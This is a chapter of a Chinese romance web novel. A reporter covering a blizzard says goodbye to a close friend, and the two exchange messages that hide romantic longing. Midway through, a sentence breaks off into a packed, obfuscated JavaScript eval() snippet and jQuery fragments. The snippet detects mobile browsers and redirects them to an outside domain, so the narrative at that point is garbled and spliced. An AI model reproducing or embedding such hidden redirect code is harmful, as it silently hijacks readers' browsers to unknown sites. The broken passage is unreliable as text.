第二天，杨嘉树醒得很早，天还没亮，屋子里一片漆黑，他坐起来，先找自己的手机，一般他习惯将手机放在枕头下面……手摸到一个温热的身躯，他愣了愣，打开灯，顾琢成就睡在自己身侧。


    仅有的一点困意也没有了，杨嘉树吓得掀开被窝马上下床——身体是轻盈的，他低下头，果然，衣服都被人脱了。


    “……”虽然还剩下一层，可杨嘉树的脸还是红了。脑袋里不由想象顾琢成是怎么帮他脱衣服的……另外，杨嘉树心想，他的睡姿也太规矩了些，平躺着，双手交叉在腹部（从被褥起伏的弧度猜测），像个久经训练的军人似的。


    ……要叫醒他吗？杨嘉树在犹豫，可墙上的挂钟又在提醒他，时候不早了，该洗洗出去工作了。


    反正他又没事，睡吧睡吧，昨晚应该也挺麻烦他的。于是杨嘉树关掉大灯，只留了一圈灯带，然后去卫生间洗漱。


    收拾完毕，杨嘉树走到窗边，将窗帘拉开一条缝，向外看。现在是凌晨五点，雪居然还没停，目之所及的所有物体都蒙上了厚厚一层白雪，雪花还在不停地往上堆叠……不知道什么时候才会停止。不远处有黑黑的物体正在移动，应该是市政派出的清雪、除冰车，车的周围有一些蚂蚁一样缓慢移动的黑点，应该是清洁工，或者积极参与除冰扫雪的干部、志愿者，热心群众。


    杨嘉树顿时有一种无地自容的羞愧感，他关掉窗帘，背起包就打算出门。


    关门前他又觉得不妥，似乎得跟顾琢成打个招呼。于是他又返回，站在床头叫顾琢成，叫了两声，没醒，杨嘉树就弯下腰，轻推了下顾琢成的肩膀：“顾琢成，快醒醒。”


    顾琢成猛地掀开眼皮，盯着杨嘉树：“干嘛。”


    杨嘉树吓了一跳，怎么跟僵尸似的……估计没完全清醒，他轻声说：“我出去工作了，你继续睡，早餐九点半结束，记得订个闹钟下去吃早餐。”


    “这么早？”顾琢成皱紧眉头，笔直地坐起来，掀开被子下床，“几点了啊。”他走到窗边，一把拉开窗帘——天还没亮，只是因为下雪，显得像是已经亮了。


    “嗯，同事在楼下等我。”没时间多说了，杨嘉树一边看表一边往门口走，“我走了，你继续睡。”


    顾琢成跟他到门口，在杨嘉树即将关门的时候，说：“我能跟你一起去工作吗？”


    “——你疯啦？”杨嘉树怀疑自己听错了，反应了几秒钟才说，“外面这么冷，又不安全，你还是好好待在屋里吧。”


    “……很无聊啊。”顾琢成说，这勉强算是一个借口。


    “别捣乱。”杨嘉树用教导课堂上不安分的小孩子的语气，说，“回去睡觉吧，我走了。”


    走到一半，他又回头，叮嘱：“别到处乱跑。”


    G市这场暴雪持续了三四天，顾琢成也在G市待了三四天，他跟杨嘉树住在一起，不过两人只有晚上睡觉的时候才会见面。杨嘉树白天都在外面跑，晚上回酒店赶稿子，有时候早有时候晚，有时候写到一半还会被拉去开会，再回来时往往也是凌晨一两点，困得倒头就睡。顾琢成觉得他太拼，怀疑他会不会在工作的时候忽然晕倒——


    “怎么可能。”杨嘉树哭笑不得，“你把我想得太脆弱了。”


    顾琢成确实是有够无聊的，白天会给杨嘉树发微信，杨嘉树怎么有时间回？而且也不知道怎么回，比如顾琢成在饭点的时候给他发：“你吃饭了吗？我在XX路找到一家还在营业的餐馆，炒牛肉挺好吃的，要不要给你打包一份？”然后又补充，“我给你送过去。”


    杨嘉树很想说这么冷的天你就不要到处乱跑了，酒店也有餐厅不是吗，而且我这里是乡下（那时他在乡下，采访受灾的村民），你知道过来多麻烦吗，还很不安全。但是他想到顾琢成是出于关心才这么发，就什么指责的话都说不出来了。


    趁吃饭的时候他回：“我已经吃过了。”


    第三天的时候，杨嘉树刚好在酒店附近，顾琢成可能又出门乱晃了，两人在某个十字路口撞个正着，顾琢成先看见杨嘉树的，因为他穿着一件特别显眼的军大衣，面前跟着一个摄像，正在报道前方电路抢修情况。


    顾琢成没有声张，隔着一条马路静静地看着杨嘉树。


    上午的时候还风平浪静，下午又开始下雪，一边下雪一边刮风，雪花打在脸上，是沙子一样粗粝的质感。顾琢成眯着眼睛，看见杨嘉树被大风吹得站都站不稳，只能扶着旁边的电线杆，说话的时候雪像过筛的面粉一样往嘴里灌……天地间是茫茫的白，只有杨嘉树身上那一抹绿是有颜色的，像一棵在风雪里顽强生长的树。


    顾琢成不知道自己心脏里此刻蔓延出的情感应该叫什么……太复杂了，有心疼，有敬佩，有怜惜，有骄傲……这所有的情感汇聚在一起，让顾琢成的心脏开始像马达一样哒哒跳动，在这座冰封不动的城市，他的心动显得那样鲜明，存在感极强——就像杨嘉树身上的那抹绿色一样。


    同事比个手势，告诉杨嘉树OK了，杨嘉树松了一口气，然后就看见在对街傻站着的顾琢成。他下意识冲顾琢成挥手，可是顾琢成不知道是不是没有看见，还是不想打扰他工作，顺着长街自顾自走了。


    杨嘉树的表情在一瞬间变得茫然：“……？”


    同事见他半天不动，疑惑地拍了拍他的肩膀：“发什么呆呢？走了。”


    “哦、哦，好。”杨嘉树裹紧大衣，走向和顾琢成完全相反的方向。


    这样的忙碌又持续了几天，最后几天杨嘉树都在乡下，受灾比较严重的地方，顾琢成也不方便再跟着，就趁航线恢复那天买最早的班机走了。


    杨嘉树送他去坐车。等车的间隙，两人聊了一会儿，杨嘉树忍不住抱怨：“来的时候那么突然，走的时候也突然……现在还下雪呢，冷得要死，真不怕折腾呀。”杨嘉树穿着那件饱经风霜的军大衣，冻得瑟瑟发抖。


    顾琢成往左前方站了一点，替杨嘉树挡住萧瑟的寒风：“我来的时候你嫌弃我，现在要走了，舍不得了？”


    “谁舍不得你了。”杨嘉树傲娇，“我是担心飞机半路出事故……呸呸呸，乌鸦嘴，取消这句话！反正你又不上班，着急回去干什么。”


    “还真有事。”顾琢成摊手，“开合伙人会。”


    “呀！”杨嘉树惊呼，“公司终于要开起来了？不容易啊，这都多久了……那确实该回去，你的车是不是到了？”


    “嗯。”顾琢成点点头，“那我走了，回北京见。”


    “好。”


    顾琢成站着不动，忽然间俯下身，很轻地抱了一下杨嘉树：“辛苦了。”


    “……”杨嘉树被这突如其来的动作给搞懵了，“谢谢……额，还好，我不辛苦啊。”


    顾琢成笑了笑，挥手告别：“走了，再见。”


    “再见。”


    ……搞得这么有仪式感。


    杨嘉树也忙着去工作，同事的车就跟在顾琢成的车后面，两人说完再见后，就此分别了。


    杨嘉树坐在车里，回想这些年来和顾琢成的种种，作为朋友，他俩能保持数年如一日的亲密，其实很不容易，作为一个已经见过些许世面的成年人，他知道世界上大多数朋友是这样：


    在人生之路的某个起点相遇，立下此生携手并进的誓言，然后被生活的洪波推着，进入各自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536155|170176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的河流，没有回头之路。所以——时间越久的友情，就越显得珍贵。


    雪越来越大了，杨嘉树坐在温暖的车厢里，心却体会到立于冰天雪地间的刺骨寒冷。


    同事感叹道：“你这个铁哥们儿不错，对你真心实意！有哪个朋友能做到这样啊，不是亲兄弟胜似亲兄弟。”


    杨嘉树笑了笑，说：“是啊。”


    他想起阳台上那棵金钱橘，最初顾琢成送给他时，树身上挂了一张卡片：


    “愿岁并谢，与长友兮。”


    我想跟你做一辈子的好朋友。


    ——是啊，这世界上有哪一种关系，能比朋友关系更长久、更安全呢？况且，他们是挚友。


    杨嘉树呆坐了许久，才终于给顾琢成发消息：“谢谢你特意飞过来看我，辛苦了。一路平安，到了发个消息。抱抱/。”


    几乎是立刻，顾琢成回复：“这么客气干什么。/汗。”


    “没有啊，这不是很感慨嘛，你比我家人还要关心我。”


    “还好。”顾琢成发了个龇牙笑的表情，“谁叫你是杨嘉树。”


    “什么意思？”


    “是我最好的朋友。”


    “……”杨嘉树的笑僵在脸上，苦涩在心中蔓延。犹豫很久，他打了个句号，心想既然脸笑不出来，就让文字替他笑好了，“干嘛这么恶心。/笑哭。你也知道有我这样的朋友很难得吧。以后对我好点/偷笑。”


    “请你吃饭？”


    “能不能有点新意。这些年你请我的饭没有一千顿也有五百顿了。”


    “有那么多吗？好像我们见面的次数并不多。/思考。”


    “那以后多见面？”


    “是啊，否则感情都淡了。/龇牙。”


    “那回去再约。你到机场了吗？”


    “嗯，等着过安检呢，机场人巨多。”


    ……


    一直聊到顾琢成登机，聊到下一次见面吃什么，二人才结束对话。


    一个星期后，杨嘉树也回了B市，刚到家的那天，他发现了一个噩耗——那颗金钱橘死了，死得特别惨，整个树根都黑了，散发出浓浓的腐臭味。杨嘉树当即拍了橘子树的尸体照给顾琢成，谴责道：“是不是你上次浇太多水了？把它给浇死了！”


    顾琢成说：“跟我有什么关系。/发呆。我上次去它还是活的，我没有浇很多水，只浇了一点点，不信你去看监控。”


    “奇了怪了，难道是温度太低了？”今年的温度的确是比往年冷。可是……就算是冻死的，也不至于这么臭吧。杨嘉树想不明白了。


    “有可能。”


    杨嘉树搜了一会儿金钱橘腐烂的原因，截图给顾琢成：“就是你干的！浇水浇太多才会烂根，当时应该拔出来给它换个盆的，是你的抢救方式错了。”


    “那怎么办，死都死了。”


    “凉拌吧！”


    “对不起。我再给你买一盆吧。”


    “算了算了，这东西特别难养，我放弃了。”


    顾琢成非要送盆新的给他，说正好快过年了，当年宵花放在客厅里，金灿灿的小橘子看上特别喜庆。


    杨嘉树简直哭笑不得，最后也想通了，可能这就是上天给他俩的祝福吧，祝福他俩的友情千岁万岁……坚不可摧。


    ——其实后来也没送成，顾琢成工作太忙，把这事给忘了，杨嘉树也没提醒他，此事就不了了之了。


    那么，这份看上去坚固的友情，真的就全然都是幸福的吗？


    不，在更多时候，杨嘉树想摆脱它，摧毁它，想撕开它虚伪的面具，露出那扭曲、丑陋、血肉模糊的真实面目。